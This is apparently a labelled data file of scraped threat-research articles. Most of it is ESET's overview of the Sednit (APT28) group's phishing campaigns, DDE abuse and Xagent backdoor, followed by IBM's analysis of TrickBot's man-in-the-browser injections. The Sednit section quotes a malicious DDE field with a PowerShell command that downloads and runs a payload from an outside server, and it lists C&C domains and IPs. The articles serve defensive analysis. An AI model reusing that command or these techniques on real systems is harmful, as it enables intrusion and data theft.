keep you updated, stay tuned... Categories: Carrier & Network,Cloud Security,DNS Leave a comment Name* Email Address* URL Remember personal info? Comments* (You may use HTML tags for style) Captcha*: Type the characters you see in the picture above. COMPANY Leadership Our History Locations Investor Relations Diversity Corporate Responsibility Compliance Events Our Partners CAREERS Students Working at Akamai NEWSROOM Media Resources Press Contacts RESOURCES About Blog Archives Authors For Developers Community Facebook LinkedIn Twitter YouTube TRUST CENTER Policy Details Akamai secures and delivers digital experiences for the world\xe2\x80\x99s largest companies. Akamai\xe2\x80\x99s intelligent edge platform surrounds everything, from the enterprise to the cloud, so customers and their businesses can be fast, smart, and secure. Top brands globally rely on Akamai to help them realize competitive advantage through agile solutions that extend the power of their multi-cloud architectures. Akamai keeps decisions, apps, and experiences closer to users than anyone \xe2\x80\x94 and attacks and threats far away. Akamai\xe2\x80\x99s portfolio of edge security, web and mobile performance, enterprise access, and video delivery solutions is supported by unmatched customer service, analytics, and 24/7/365 monitoring. To learn why the world\xe2\x80\x99s top brands trust Akamai, visit www.akamai.com , blogs.akamai.com , or @Akamai on Twitter. You can find our global contact information at www.akamai.com/locations . Published 09/18. \xc2\xa92019 Akamai Technologies Privacy & Policies EMEA Legal Notices Support Webmaster","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Sednit update: How Fancy Bear Spent the Year | WeLiveSecurity In English Em Portugu\xc3\xaas En fran\xc3\xa7ais En Espa\xc3\xb1ol In Deutsch Menu toggle menu All Posts Latest Research How To Videos Podcasts Conference Materials White Papers Magazine Our Experts Em Portugu\xc3\xaas En fran\xc3\xa7ais En Espa\xc3\xb1ol In Deutsch Award-winning news, views, and insight from the ESET security community Sednit update: How Fancy Bear Spent the Year Over the past few years the Sednit group has used various techniques to deploy their various components on targets computers. The attack usually starts with an email containing either a malicious link or malicious attachment. ESET Research 21 Dec 2017 - 02:58PM Share Over the past few years the Sednit group has used various techniques to deploy their various components on targets computers. The attack usually starts with an email containing either a malicious link or malicious attachment. The Sednit group \xe2\x80\x94 also known as Strontium, APT28, Fancy Bear or Sofacy\xe2\x80\x89\xe2\x80\x94\xe2\x80\x89is a group of attackers operating since 2004, if not earlier, and whose main objective is to steal confidential information from specific targets. This article is a follow-up to ESET\xe2\x80\x99s presentation at BlueHat in November 2017. Late in 2016 we published a white paper covering Sednit activity between 2014 and 2016. Since then, we have continued to actively track Sednit\xe2\x80\x99s operations, and today we are publishing a brief overview of what our tracking uncovered in terms of the group\xe2\x80\x99s activities and updates to their toolset. The first section covers the update of their attack methodology: namely, the ways in which this group tries to compromise their targets systems. The second section covers the evolution of their tools, with a particular emphasis on a detailed analysis of a new version of their flagship malware: Xagent. The Campaigns Over the past few years the Sednit group has used various techniques to deploy their various components on targets computers. The attack usually starts with an email containing either a malicious link or malicious attachment. We have seen a shift in the methods they use \xe2\x80\x98in the course of the year\xe2\x80\x99, though. Sedkit was their preferred attack vector in the past, but that exploit kit has completely disappeared since late 2016. The DealersChoice exploit platform has been their preferred method since the publication of our white paper, but we saw other methods being used by this group, such as macros or the use of Microsoft Word Dynamic Data Exchange. The following three sections will describe the different methods used by Sednit\xe2\x80\x99s operator to gain an initial foothold on a target system. Generally, these campaigns will try to install Seduploader on the target system. Seduploader is a first stage backdoor that can be used to assess the target\xe2\x80\x99s importance and download additional malware. If the system is indeed of interest to them, it is likely that Sednit\xe2\x80\x99s operators will eventually install Xagent on it. Sedkit (Sednit Exploit Kit) Sedkit was an exploit kit used exclusively by the Sednit group. During its lifetime, Sednit leveraged vulnerabilities in various persistently vulnerable applications, but mostly Adobe Flash and Internet Explorer. When Sedkit was first discovered, potential victims were redirected to its landing page through a watering-hole scheme. Following that campaign, their preferred method consisted of malicious links embedded in emails sent to Sednit\xe2\x80\x99s targets. Sedkit\xe2\x80\x99s workflow is illustrated below. Between August and September 2016, we saw several different email campaigns trying to lure the recipients of their messages to a Sedkit landing page. Sedkit\xe2\x80\x99s targets at that time were mostly embassies, and political parties in Central Europe. The next figure shows an email containing such a URL. The email tries to fool its recipient into believing that the link will ultimately lead to an interesting news story. In this case, the article is supposedly about an earthquake that struck near Rome in August 2016. While the email impersonates someone the victim would consider trustworthy, there are two major hints that could lead an attentive recipient to conclude that this email is fake. The first one is that there are spelling mistakes (e.g. \xe2\x80\x9cGreetigs!\xe2\x80\x9d). Spelling mistakes are common in malicious Sednit mails. The second one is the URL\xe2\x80\x99s domain part. It is a purely malicious domain, but the path part of the URL actually mimics a real, legitimate link. In this particular case, the URL path is the same as one used in a BBC story about this earthquake. Again, this is a commonly-used Sednit tactic, using popular stories found on legitimate news websites and redirecting targets that click on the emailed URL to the real website, but not before visiting the Sedkit landing page. Besides the BBC, The Huffington Post is another popular media outlet whose stories they like to use as bait. The email shown below, where the link redirects to Sedkit, exhibits several interesting features. Firstly, the email\xe2\x80\x99s subject and URL path are not aligned: the former refers to Syria and Aleppo while the latter refers to WADA and Russian hacking. Secondly, there are two glaring spelling mistakes. The first one, is again the use of \xe2\x80\x9cGreetigs!\xe2\x80\x9d and the second one is \xe2\x80\x9cUnated Nations\xe2\x80\x9d. Hopefully, someone working for the United Nations\xe2\x80\x99 public relations department would not have such a glaring error in their email signature block. The last campaign using Sedkit was observed in October 2016. It is interesting to note that the disappearance of Sedkit follows a trend we have seen with other exploit kits. Most of these were relying exploits for older versions of Internet Explorer and/or Flash to perform drive-by downloads. The decline of the majority of exploit kit operations during 2016, including Sednit, could well be attributable to the code hardening performed by Microsoft and Adobe. Full details of Sedkit\xe2\x80\x99s inner workings can be found in our previously published white paper. DealersChoice In August 2016, Palo Alto Networks blogged about a new platform used by Sednit to breach a system initially. This platform, which they called DealersChoice, has the ability to generate malicious documents with embedded Adobe Flash Player exploits. There are two variants of this platform. The first one checks which Flash Player version is installed on the system and then selects one of three different vulnerabilities. The second variant will first contact a C&C server which will deliver the selected exploit and the final malicious payload. Of course, the second version is much harder to analyze, as the document delivered to the targets does not contain all the pieces of the puzzle. This platform is still in use today by Sednit and, like Sedkit, tracks international news stories and includes a reference to them in their malicious emails, in an attempt to lure the target into opening the malicious document attachment. Sometimes, they also use other, non-political, schemes. In December 2016, they used a rather unusual (for the group) lure: This email was sent to multiple Ministries of Foreign Affairs and embassies in Europe on December 22nd and 23rd, and contained a Word document attachment that appeared to be a Christmas eCard. Note that this was the first time that we saw the Sednit group use a non-geopolitical phishing gambit attempting to trap their targets. Of course, the Word document, if opened, uses DealersChoice to try to compromise the system. Sednit used DealersChoice intensively in late 2016, but the platform was not seen for a long time after that. In fact, the first time we saw them use it in 2017 was in October. We do not have the email used for this particular campaign, but, based on the decoy document, we can assume that government agency employees were the targets. Other campaigns using DealersChoice were the subject of different blogs published by security researchers. One noteworthy example is the one by Proofpoint where they detail the addition of a new Adobe Flash Player vulnerability to the DealersChoice platform. This indicates that this platform is still in use by this group and under constant development. Macros, VBA and DDE Besides Sedkit and DealersChoice, Sednit\xe2\x80\x99s operators also continued using proven ways to compromise systems they target by relying on macros in a Microsoft Office documents, but also used other methods. One campaign that grabbed a lot of attention targeted an Eastern European MFA in April 2017. The following email was sent to an MFA employee: The attachment contained code exploiting two zero-days: one local privilege escalation (LPE) and one remote code execution (RCE). These two zero-days were reported by ESET to Microsoft. A detailed analysis of this campaign can be found on our blog. The final case highlighted here illustrates how Sednit\xe2\x80\x99s operators pay close attention to new technical developments in security. In the beginning of October 2017, SensePost researchers wrote an article on a Microsoft Word methods called the Dynamic Data Exchange (DDE) protocol. DDE is a way to exchange data between applications. For example, it allows a Word table to be updated with the data contained in an Excel document. It is convenient, but in the case of at least Word and Excel it can also be used to execute arbitrary code, if the user ignores several warning prompts. Following the publication of that article, it did not take long to discover Sednit campaigns using DDE to execute code from a C&C server. In these campaigns, documented by McAfee, the decoy document is empty, but it contains a hidden field containing the following code: DDE ""C:\\\\Programs\\\\Microsoft\\\\Office\\\\MSWord.exe\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # "" ""a slow internet connection"" ""try again later"" 1 ""C:\\\\Programs\\\\Microsoft\\\\Office\\\\MSWord.exe\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # "" ""a slow internet connection"" ""try again later"" If the intended potential victim opens the document and makes the foolhardy chose to ignore the warnings, the above script is executed and the Seduploader binary is downloaded from the C&C server and executed on the target\xe2\x80\x99s system. This is only a brief overview of how the Sednit operators have been trying to compromise new victims since the publication of our white paper. As you can see, they are just as active as they were and are still actively targeting governments worldwide. Tooling The previous section shows how the Sednit group spent the last year from the infection-vector point of view. This section describes changes that this group made to their toolset. In 2016, ESET released a deep analysis of each component; it is available here. Over the years the group developed a lot of components to infect, gather and steal information from their targets. Some of these components have disappeared since, while others have been improved. Seduploader Seduploader serves as reconnaissance malware. It is made up of two distinct components: a dropper, and the persistent payload installed by this dropper. Seduploader is still used by the Sednit group but it has received a few improvements. During the April 2017 campaign a new version of Seduploader came out with some new features, such as a screenshot function or the ability to directly execute loaded into memory from the C&C server. Recently, we have seen the Seduploader dropper replaced by PowerShell commands delivering the Seduploader payload. Xtunnel Xtunnel is a network proxy tool that can relay any kind of network trace between a C&C server on the Internet and an endpoint computer inside a local network. Xtunnel is still used by the Sednit group. Sedkit Sedkit is the Sednit exploit-kit; it\xe2\x80\x99s used only for targeted attacks, starting with targeted phishing emails with URLs that spoof legitimate URLs. October 2016 is the last time we\xe2\x80\x99re aware that Sedkit was used. Sedreco Sedreco serves as a spying backdoor; its functionalities can be extended with dynamically loaded plugins. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper. We have not seen this component since April 2016. USBStealer USBStealer serves as a network tool that extracts sensitive information from air-gapped networks. We have not seen this component since mid 2015. Xagent Xagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group\xe2\x80\x99s flagship backdoor and heavily used in their operations. Early versions for Linux and Windows were seen years ago, then in 2015 an iOS version came out. One year later, an Android version was discovered and finally, in the beginning of 2017, an Xagent sample for OS X was described. We saw a new version of the Windows version of Xagent last February. Because of the following strings found in the binaries, we deduced that it was version 4 of the backdoor. The different versions of Xagent\xe2\x80\x99s modules are listed in Table 1. Table 1. Xagent versioning module/channel v3 uid v4 uid AgentKernel 3303 4401 WinHttp 2111 4402 ModuleFileSystem 2103 4411 ModuleRemoteKeyLogger 2107 4412 ProcessRetranslatorModule 2106 4413 Unknown [1] ?? 4414 Version 4 of Xagent came with new techniques for strings obfuscation and all Run-time type information (RTTI) are obfuscated as well. These techniques significantly improve the way in which strings are encrypted with a method unique to each binary. Previous versions of Xagent used an XOR loop to decrypt strings. The new encryption algorithm is a series of operations with values probably generated at the compile time. The following figure illustrates the complexity of the code. However, the HexRays decompiler does a decent job of simplifying it. Here is an example: C return (((((a2 ^ (((((((((((a1 - 13 + 42) ^ 0x7B) + 104) ^ 0x72) - 81 - a2 - 76) ^ 0x31) + 75) ^ 0x3B) + 3) ^ 0x40) + 100) ^ 0x1C ^ 0xA9) + 41) ^ 0xB9) - 65) ^ 0xA) % 256; 1 return (((((a2 ^ (((((((((((a1 - 13 + 42) ^ 0x7B) + 104) ^ 0x72) - 81 - a2 - 76) ^ 0x31) + 75) ^ 0x3B) + 3) ^ 0x40) + 100) ^ 0x1C ^ 0xA9) + 41) ^ 0xB9) - 65) ^ 0xA) % 256; The AgentKernel can receive commands from the C&C server to interact with modules and channels. Some of the previously-seen C&C commands have been removed, and some new ones added. Earlier versions supported command 2, PING_REQUEST. This has been removed in version 4 but the operator can still get the list of modules with the command GET_AGENT_INFO, which is more verbose than the previous command. Commands 34, 35 and 36 showed similarities with SET_PARAMETERS, which allows interaction with LocalStorage, which is the kernel store. It contains both file-based storage for communication with the C&C server and Microsoft registry base storage to store various configuration parameters. A new feature implemented in the WinHttp channel is a Domain Generation algorithm (DGA) for fallback domains. The WinHttp channel is the channel responsible for communicating with the C&C server. Unlike the usual DGA that retrieves its seed from pseudo-random numbers, this one gets a given seed (probably generated at compilation) for a given sample. The way that domains are generated is as follows: a suite of operations are applied to the seed the result gives an offset for three different arrays (adding another seed for each array) once the new offset is calculated (offset + seed), it decrypts the word all words are concatenated (four words are used to generate the domain; the fourth word came from the first array but with a different offset) the \xe2\x80\x9c.com\xe2\x80\x9d suffix is added. The development of the backdoor with the addition of new features and compatibility with all major platforms out there make Xagent the core backdoor used by the group. DealersChoice DealersChoice is a platform that generates malicious documents containing embedded Adobe Flash files. Palo Alto Network researchers analyzed two variants\xe2\x80\x89\xe2\x80\x94\xe2\x80\x89variant A, which is a standalone variant including Flash exploit code packaged with a payload, and variant B, which is a modular variant that loads \xc2 exploit code on demand. This new component appeared in 2016 and is still in use. Downdelph Downdelph is a lightweight downloader developed in the Delphi programming language. As we already mentioned in our white paper, its period of activity was from November 2013 to September 2015 and there have been no new variants seen since. Summary The Sednit group is without a doubt still an active group. The main entry point for their flagship backdoor is phishing emails, and they seem to have a great deal of success with that technique. Xagent is the core of their operation, which we can now find on any and all major \xc2 platforms, mobile or not. The newest version of Xagent is very interesting and the operators seem to have put a lot of work into it. We have seen since the discovery two instances of Xagent in the wild\xe2\x80\x89\xe2\x80\x94\xe2\x80\x89one with the channel and the unknown module\xe2\x80\x89\xe2\x80\x94\xe2\x80\x89one with all modules and channel but without the unknown module. We can hypothesize that the Sednit group added another layer of checking on its targets by dropping an Xagent with just a few modules and if the victim is interesting enough, it will drop another version with all modules. IoCs Table 2. Phishing Phishing document SHA-1 ESET detection Bulletin.doc 68064fc152e23d56e541714af52651cb4ba81aaf Win32/Sednit.AX f3805382ae2e23ff1147301d131a06e00e4ff75f Win32/Exploit.CVE-2016-4117.A OC_PSO_2017.doc 512bdfe937314ac3f195c462c395feeb36932971 Win32/Exploit.Agent.NUB NASAMS.doc 30b3e8c0f3f3cf200daa21c267ffab3cad64e68b Win32/Exploit.Agent.NTR Programm_Details.doc 4173b29a251cd9c1cab135f67cb60acab4ace0c5 Win32/Exploit.Agent.NTO Operation_in_Mosul.rtf 12a37cfdd3f3671074dd5b0f354269cec028fb52 Win32/Exploit.Agent.NTR ARM-NATO_ENGLISH_30_NOV_2016.doc 15201766bd964b7c405aeb11db81457220c31e46 SWF/Agent.L Olympic-Agenda-2020-20-20-Recommendations.doc 8078e411fbe33864dfd8f87ad5105cc1fd26d62e Win32/Exploit.Agent.BL Merry_Christmas!.docx 33447383379ca99083442b852589111296f0c603 Win32/Exploit.Agent.NUG Trump\xe2\x80\x99s_Attack_on_Syria_English.docx d5235d136cfcadbef431eea7253d80bde414db9d Win32/Exploit.Agent.NWZ Hotel_Reservation_Form.doc f293a2bfb728060c54efeeb03c5323893b5c80df Win32/Sednit.BN SB_Doc_2017-3_Implementation_of_Key_Taskings_and_Next_Steps.doc bb10ed5d59672fbc6178e35d0feac0562513e9f0 Win32/Sednit.BN 4873bafe44cff06845faa0ce7c270c4ce3c9f7b9 169c8f3e3d22e192c108bc95164d362ce5437465 cc7607015cd7a1a4452acd3d87adabdd7e005bd7 Win32/Sednit.BN Caucasian_Eagle_ENG.docx 5d2c7d87995cc5b8184baba2c7a1900a48b2f42d Win32/Exploit.Agent.NTM World War3.docx 7aada8bcc0d1ab8ffb1f0fae4757789c6f5546a3 SWF/Exploit.CVE-2017-11292.A SaberGuardian2017.docx 68c2809560c7623d2307d8797691abf3eafe319a VBA/DDE.E IsisAttackInNewYork.docx 1c6c700ceebfbe799e115582665105caa03c5c9e VBA/DDE.L Table 3. Seduploader Samples SHA-1 ESET detection C&C server 9f6bed7d7f4728490117cbc85819c2e6c494251b Win32/Sednit.AX servicecdp[.]com:87.236.211[.]182 6e167da3c5d887fa2e58da848a2245d11b6c5ad6 Win32/Sednit.BG runvercheck[.]com:185.156.173[.]70 remsupport[.]org:191.101.31[.]96 e338d49c270baf64363879e5eecb8fa6bdde8ad9 Win32/Sednit.BG wmdmediacodecs[.]com:95.215.45[.]43 f9fd3f1d8da4ffd6a494228b934549d09e3c59d1 Win32/Sednit.BN mvband[.]net:89.45.67[.]144 mvtband[.]net:89.33.246[.]117 476fc1d31722ac26b46154cbf0c631d60268b28a Win32/Sednit.BN viters[.]org:89.187.150[.]44 8a68f26d01372114f660e32ac4c9117e5d0577f1 Win32/Sednit.BN myinvestgroup[.]com:146.185.253[.]132 9c47ca3883196b3a84d67676a804ff50e22b0a9f Win32/Sednit.BR space-delivery[.]com:86.106.131[.]141 ab354807e687993fbeb1b325eb6e4ab38d428a1e Win32/Sednit.BS satellitedeluxpanorama[.]com:89.34.111[.]160 4bc722a9b0492a50bd86a1341f02c74c0d773db7 Win32/Sednit.BS webviewres[.]net:185.216.35[.]26 Table 4. Xagent Samples SHA-1 ESET detection C&C server 6f0fc0ebba3e4c8b26a69cdf519edf8d1aa2f4bb Win64/Sednit.Z movieultimate[.]com e19f753e514f6adec8f81bcdefb9117979e69627 Win64/Sednit.Z meteost[.]com 961468ddd3d0fa25beb8210c81ba620f9170ed30 Win32/Sednit.BO faststoragefiles[.]org a0719b50265505c8432616c0a4e14ed206981e95 Win32/Sednit.BO nethostnet[.]com 2cf6436b99d11d9d1e0c488af518e35162ecbc9c Win64/Sednit.Y faststoragefiles[.]org fec29b4f4dccc59770c65c128dfe4564d7c13d33 Win64/Sednit.Y fsportal[.]net 57d7f3d31c491f8aef4665ca4dd905c3c8a98795 Win64/Sednit.Z fastdataexchange[.]org a3bf5b5cf5a5ef438a198a6f61f7225c0a4a7138 Win32/Sednit.BO newfilmts[.]com 1958e722afd0dba266576922abc98aa505cf5f9a Win32/Sednit.BO newfilmts[.]com [1] We weren\xe2\x80\x99t able to match this module with previous well-known modules ESET Research 21 Dec 2017 - 02:58PM Similar Articles Cybersecurity Growing pains: Skills gap meets expanding threat surface Malware One year later: EternalBlue exploit more popular now than during WannaCryptor outbreak Mobile Security Tricks that cybercriminals use to hide in your phone Cryptocurrency Cryptojacking: The result of the \xe2\x80\x9ccryptocurrency rush\xe2\x80\x9d Discussion Home About Us Contact Us Sitemap Our Experts ESET Research How To Categories RSS Configurator News Widget Privacy policy Legal Information Copyright \xc2\xa9 ESET, All Rights Reserved Back to top","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Tricks of the Trade: A Deeper Look Into TrickBot's Machinations Security Intelligence News Series Topics Industries Threat Research Podcast Events News Series Topics Industries Threat Research Podcast Events Search {{#articles}} {{title}} {{/articles}} View All News {{#articles}} {{title}} {{/articles}} View All Series Application Security Artificial Intelligence CISO Cloud Security Data Protection Endpoint Fraud Protection Identity & Access Incident Response Mainframe Mobile Security Network Risk Management Security Intelligence & Analytics Security Services Threat Hunting View All Topics Banking & Finance Energy & Utility Government Healthcare Retail {{#articles}} {{title}} {{/articles}} See More Articles {{#articles}} {{title}} {{/articles}} View More From X-Force {{#articles}} {{title}} {{/articles}} View All Episodes {{#articles}} {{title}} {{/articles}} View All Events Search News Series Topics All Categories Application Security Identity & Access Artificial Intelligence Incident Response CISO Mainframe Cloud Security Mobile Security Data Protection Network Endpoint Risk Management Fraud Protection Threat Hunting Security Services Security Intelligence & Analytics Industries All Categories Banking & Finance Energy & Utility Government Healthcare Retail Threat Research Podcast Events Home / Threat Research / Advanced Threats Tricks of the Trade: A Deeper Look Into TrickBot\xe2\x80\x99s Machinations November 9, 2016 | By Lior Keshet | 6 min read iStock TrickBot is a new banking Trojan. It appears to be a Dyre successor that emerged in the wild in October 2016. TrickBot\xe2\x80\x99s code has been in progressive testing since August 2016. It continues to see ongoing updates and, now, actual infection campaigns and fraud attacks. Internally, there is more to TrickBot than meets the eye. In this research post, we\xe2\x80\x99ll cover some of the most notable points about this malware\xe2\x80\x99s capabilities, including: An uncommon method of performing man-in-the-browser (MitB) attacks; TrickBot\xe2\x80\x99s buggy webinjection mechanism; The developer\xe2\x80\x99s elegant application program interface (API) obfuscation, borrowed from Carberp; and Our two cents about the suspected TrickBot-Dyre connection. For analysis, the sample we used was: 5e363a42d019fc6535850a2867548f5b968d68952e1cddd49240d1f426debb73. An Unusual Man-in-the-Browser Technique Nowadays, most modern financial malware families are capable of injecting malicious code into ongoing browser sessions (e.g., MitB or a webinjection attack). The most common way malware developers implement injections is by setting them up locally at the victim\xe2\x80\x99s machine. The malware keeps a local configuration file for the injections, specifying exactly when and how the malware will modify the contents of targeted bank webpages. Learn more about how to outsmart Fraudsters with Cognitive Fraud Detection A more advanced and less common method to achieve the same result is to fetch the injection instructions from the attacker\xe2\x80\x99s server in real time. This is the method TrickBot\xe2\x80\x99s developers opted to use. It is also known as serverside injections. For this purpose, and much like other advanced banking Trojans, TrickBot deploys a browser-hooking engine designed to intercept communications to and from the victim\xe2\x80\x99s internet browser. With the real-time fetching trick, the malicious code injections themselves are kept securely on the attacker\xe2\x80\x99s server, not in a file on the victim\xe2\x80\x99s endpoint. When a victim browses one of TrickBot\xe2\x80\x99s target URLs, this is what actually happens: TrickBot\xe2\x80\x99s financial module intercepts the original HTTP response before it is rendered to the victim. The browser does not display the \xe2\x80\x9cclean\xe2\x80\x9d response. TrickBot sends a multipart HTTP packet to its C2 with the following sections: \xe2\x80\x9csourcelink,\xe2\x80\x9d the complete URL that triggered the attack; \xe2\x80\x9csourcequery,\xe2\x80\x9d the browser\xe2\x80\x99s complete HTTP query; and \xe2\x80\x9csourcehtml,\xe2\x80\x9d the original HTML as would be displayed by an uninfected browser. C2 replies with full HTML content to be rendered by the victim\xe2\x80\x99s browser, including injected parts. Finally, TrickBot\xe2\x80\x99s financial module replaces the original response that would normally come from the bank with the C2\xe2\x80\x99s response, and the injected page is displayed on the victim\xe2\x80\x99s end. The serverside injection method has advantages over the standard, local mechanism used by most financial malware today. Notably, it allows for enhanced obscurity and flexibility. The malware\xe2\x80\x99s author can keep the injection code out of sight until it is needed. The actor can turn the webinjections on or off on the fly, easily modify the injections and then push an update to some or all the infected victims instantaneously. Figure 1: TrickBot hooking FireFox\xe2\x80\x99s network functions to enable MitB interception. Figure 2: TrickBot\xe2\x80\x99s Server Side Web-Injects \xe2\x80\x94 Top Level Flow. An Elegant Choice for API Obfuscation When it comes to keeping malware alive longer, it is common practice for malware authors to add protection layers to their code to ward off reverse engineering. As expected, we identified one such technique employed by TrickBot: API obfuscation. Having analyzed TrickBot\xe2\x80\x99s obfuscation method, we found it very similar to \xe2\x80\x94 and likely borrowed from \xe2\x80\x94 the Carberp Trojan\xe2\x80\x99s API obfuscation. Carberp\xe2\x80\x99s source code was leaked in 2013, giving rise to other malware based on its sophisticated DNA. We found that TrickBot does not apply the API obfuscation to all the APIs; it only applies it to the more sensitive APIs that the developer wants to be hidden. This is a sneaky method, since researchers may believe they already know all the APIs being used, when in reality more APIs are covertly part of the game. The obfuscation process here is based on precalculated hash values of the APIs. Calling an API function only includes a hash value instead of the function name, making static analysis harder unless the researcher applies an additional method to resolve the APIs. Figure 3: WSAStartup hash from Carberp\xe2\x80\x99s source code. Figure 4: Resolving an API by hash \xe2\x80\x94 WSAStartup. A simple way of overcoming this obfuscation is by using an Interactive Disassembler (IDA) Python script, especially since the hashed values themselves are already available within Carberp\xe2\x80\x99s leaked source code. A Bug in the Wild TrickBot has been in testing since summer 2016, even before it was equipped with financial malware features. Initially, TrickBot\xe2\x80\x99s developers appeared to struggle with the malware\xe2\x80\x99s webinjection mechanism, since we found a few TrickBot samples in the wild that presented strangely erratic behavior. At first, we suspected TrickBot was up to some anti-research wiles, but in reality, it was just bugged. Per our analysis, TrickBot\xe2\x80\x99s webinjection malfunction caused the malware to constantly inject the same code over and over again, sabotaging the malware\xe2\x80\x99s own functionality. As this behavior was inconsistent across some samples, we had to manually apply a fix to continue researching the mechanism. We won\xe2\x80\x99t get into further detail at this point, since this bug actually prevented TrickBot from performing fraud. We will say, however, that since the malware is under constant development, the developers may have already addressed the bug and fixed it in the newer samples, enabling TrickBot to operate more smoothly. The TrickBot-Dyre Connection Speculation over the TrickBot-Dyre connection emerged as soon as the malware was discovered and has been the source of much debate ever since. Even though this subject was mentioned in several other TrickBot analysis blogs, we would like to contribute several key points from our own research into this new threat: TrickBot\xe2\x80\x99s serverside webinjection method is uncommon in today\xe2\x80\x99s malware. The other malware family that used it, as you can guess, was Dyre. Packets sent to the attack server during the serverside webinjects consist of three parts, titled \xe2\x80\x9csourcelink,\xe2\x80\x9d \xe2\x80\x9csourcequery\xe2\x80\x9d and \xe2\x80\x9csourcehtml.\xe2\x80\x9d These exact names were also used in Dyre\xe2\x80\x99s webinjection mechanism. Figure 5: TrickBot and Dyre both use \xe2\x80\x9csourcelink\xe2\x80\x9d and \xe2\x80\x9csourcequery\xe2\x80\x9d for their communications. Targeted URLs and command-and-control (C&C) addresses are kept encrypted on the infected machine. Dyre did the same. While the encryption schemes for TrickBot are not identical, they appear to be too similar to be a mere coincidence. TrickBot passes the target URLs list to its financial module, which is injected into the browser using pipes communication. This, again, is a Dyre hallmark. The structure of the targeted URLs in the configuration is typically consistent for each malware, and TrickBot\xe2\x80\x99s target specification \xe2\x80\x94 you guessed it \xe2\x80\x94 sure looks a lot like Dyre\xe2\x80\x99s. Related: An Aggressive Launch: TrickBot Trojan Rises With Redirection Attacks in the UK Although the similarities are there, keep in mind that most of them are relatively simply to imitate. For example, even though the serverside webinjection technique is common to both Trojans, the code implementing this capability and the coding style itself are actually different. This point is important because we can see how rapidly and effectively new and advanced malware is being developed, either by the same actors or by newcomers inspired by one of the most nefarious gangs in cybercrime history. A Last-Minute Update: Redirection Attacks! TrickBot\xe2\x80\x99s developers must be hard at work these days, pushing to enhance the malware for a live campaign targeting banks. Just as we were about to publish this post, we detected a new infection campaign with a new configuration targeting U.K. banks. Until now, TrickBot only targeted banks in Australia. Furthermore, some of these new U.K. targets are set up for redirection attacks, while TrickBot only employed the serverside webinjection attack described above until now. A redirection attack, in short, means that instead of injecting malicious code into the original webpage, the victim is now redirected to a new site forged by the fraudsters. This site looks and feels exactly like the original website, and the browser indicates a Secure Sockets Layer (SSL) connection based on the original site\xe2\x80\x99s certificate. To learn more about redirection attacks and their purpose, read our blogs about Dridex and GozNym. A Newcomer to the Malware Arena TrickBot is undoubtedly the work of professionals who have been around the banking Trojan scene for some time. These experienced fraudsters are apparently well-versed in the modern features common to the types of malware banks reckon with nowadays. We expect to see this Trojan evolve its anti-security and anti-research techniques and pop up in more infection campaigns as the year comes to a close. Read the white paper: Outsmarting Fraudsters with Cognitive Fraud Detection Share this article Tags:\xc2 Advanced Threats\xc2 |\xc2 Banking Trojan\xc2 |\xc2 Dyre\xc2 |\xc2 IBM X-Force Research\xc2 |\xc2 Malware\xc2 |\xc2 Man-in-the-Browser (MitB)\xc2 |\xc2 Man-in-the-Browser (MitB) Malware\xc2 |\xc2 TrickBot\xc2 |\xc2 X-Force Lior Keshet Malware Research Technical Lead, IBM Trusteer Lior is a malware research technical lead at IBM Security's Trusteer's group. He has been a core member of the Trusteer cybercrime labs for the past four yea... read more iStock Recent Articles {{#articles}} {{date-and-time}} | {{read-time}} {{title}} {{/articles}} More from Advanced Threats {{#articles}} {{date-and-time}} | {{read-time}} {{title}} {{/articles}} Analysis and insights from hundreds of the brightest minds in the cybersecurity industry to help you prove compliance, grow business and stop threats. Cybersecurity News By Topic By Industry Exclusive Series Threat Research Podcast Events Contact About Us Become a Contributor Follow us on social \xc2\xa9 2019 IBM Contact Privacy Terms of use Accessibility Sponsored 